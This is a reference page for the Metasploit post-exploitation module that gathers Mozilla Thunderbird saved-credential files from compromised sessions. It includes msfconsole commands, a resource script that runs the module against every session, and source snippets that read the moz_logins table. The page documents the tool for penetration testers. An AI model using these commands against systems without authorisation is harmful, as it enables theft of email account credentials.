Multi Gather Mozilla Thunderbird Signon Credential Collection - Metasploit


This page contains detailed information about how to use the post/multi/gather/thunderbird_creds metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Multi Gather Mozilla Thunderbird Signon Credential Collection
Module: post/multi/gather/thunderbird_creds
Source code: modules/post/multi/gather/thunderbird_creds.rb
Disclosure date: -
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): -
Supported platform(s): Linux, OSX, Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module will collect credentials from Mozilla Thunderbird by downloading the necessary files such as 'signons.sqlite', 'key3.db', and 'cert8.db' for offline decryption with third party tools. If necessary, you may also set the PARSE option to true to parse the sqlite file, which contains sensitive information such as the encrypted username/password. However, this feature is not enabled by default, because it requires SQLITE3 gem to be installed on your machine.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/multi/gather/thunderbird_creds

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/multi/gather/thunderbird_creds
msf post(thunderbird_creds) > show options
    ... show and set options ...
msf post(thunderbird_creds) > set SESSION session-id
msf post(thunderbird_creds) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/multi/gather/thunderbird_creds")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on.

Go back to menu.

Msfconsole Usage


Here is how the multi/gather/thunderbird_creds post exploitation module looks in the msfconsole:

msf6 > use post/multi/gather/thunderbird_creds

msf6 post(multi/gather/thunderbird_creds) > show info

       Name: Multi Gather Mozilla Thunderbird Signon Credential Collection
     Module: post/multi/gather/thunderbird_creds
   Platform: Linux, OSX, Windows
       Arch: 
       Rank: Normal

Provided by:
  sinn3r <[email protected]>

Compatible session types:
  Meterpreter
  Shell

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  PARSE    false            no        Use SQLite3 to parse the database
  SESSION                   yes       The session to run this module on.

Description:
  This module will collect credentials from Mozilla Thunderbird by 
  downloading the necessary files such as 'signons.sqlite', 'key3.db', 
  and 'cert8.db' for offline decryption with third party tools. If 
  necessary, you may also set the PARSE option to true to parse the 
  sqlite file, which contains sensitive information such as the 
  encrypted username/password. However, this feature is not enabled by 
  default, because it requires SQLITE3 gem to be installed on your 
  machine.

Module Options


This is a complete list of options available in the multi/gather/thunderbird_creds post exploitation module:

msf6 post(multi/gather/thunderbird_creds) > show options

Module options (post/multi/gather/thunderbird_creds):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   PARSE    false            no        Use SQLite3 to parse the database
   SESSION                   yes       The session to run this module on.

Advanced Options


Here is a complete list of advanced options supported by the multi/gather/thunderbird_creds post exploitation module:

msf6 post(multi/gather/thunderbird_creds) > show advanced

Module advanced options (post/multi/gather/thunderbird_creds):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions


This is a list of all post exploitation actions which the multi/gather/thunderbird_creds module can do:

msf6 post(multi/gather/thunderbird_creds) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the multi/gather/thunderbird_creds post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(multi/gather/thunderbird_creds) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

No data parsed


Here is a relevant code snippet related to the "No data parsed" error message:

123:	      # Parse signons.sqlite
124:	      if item =~ /signons\.sqlite/ and datastore['PARSE']
125:	        print_status("Parsing signons.sqlite...")
126:	        data_tbl = parse(path)
127:	        if data_tbl.nil? or data_tbl.rows.empty?
128:	          print_status("No data parsed")
129:	        else
130:	          path = store_loot(
131:	            "tb.parsed.#{item}",
132:	            "text/plain",
133:	            session,

Sorry, SQLite3 not available. We'll have to skip the parser.


Here is a relevant code snippet related to the "Sorry, SQLite3 not available. We'll have to skip the parser." error message:

149:	  #
150:	  def parse(file)
151:	    begin
152:	      require 'sqlite3'
153:	    rescue LoadError
154:	      print_error("Sorry, SQLite3 not available. We'll have to skip the parser.")
155:	      return nil
156:	    end
157:	
158:	    # Load the database
159:	    db = SQLite3::Database.new(file)

doh! <E.TO_S>


Here is a relevant code snippet related to the "doh! <E.TO_S>" error message:

158:	    # Load the database
159:	    db = SQLite3::Database.new(file)
160:	    begin
161:	      columns, *rows = db.execute('select * from moz_logins')
162:	    rescue ::Exception => e
163:	      print_error("doh! #{e.to_s}")
164:	      return nil
165:	    ensure
166:	      db.close
167:	    end
168:	

Go back to menu.


Go back to menu.

See Also


Check also the following modules related to this module:

Authors


  • sinn3r

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.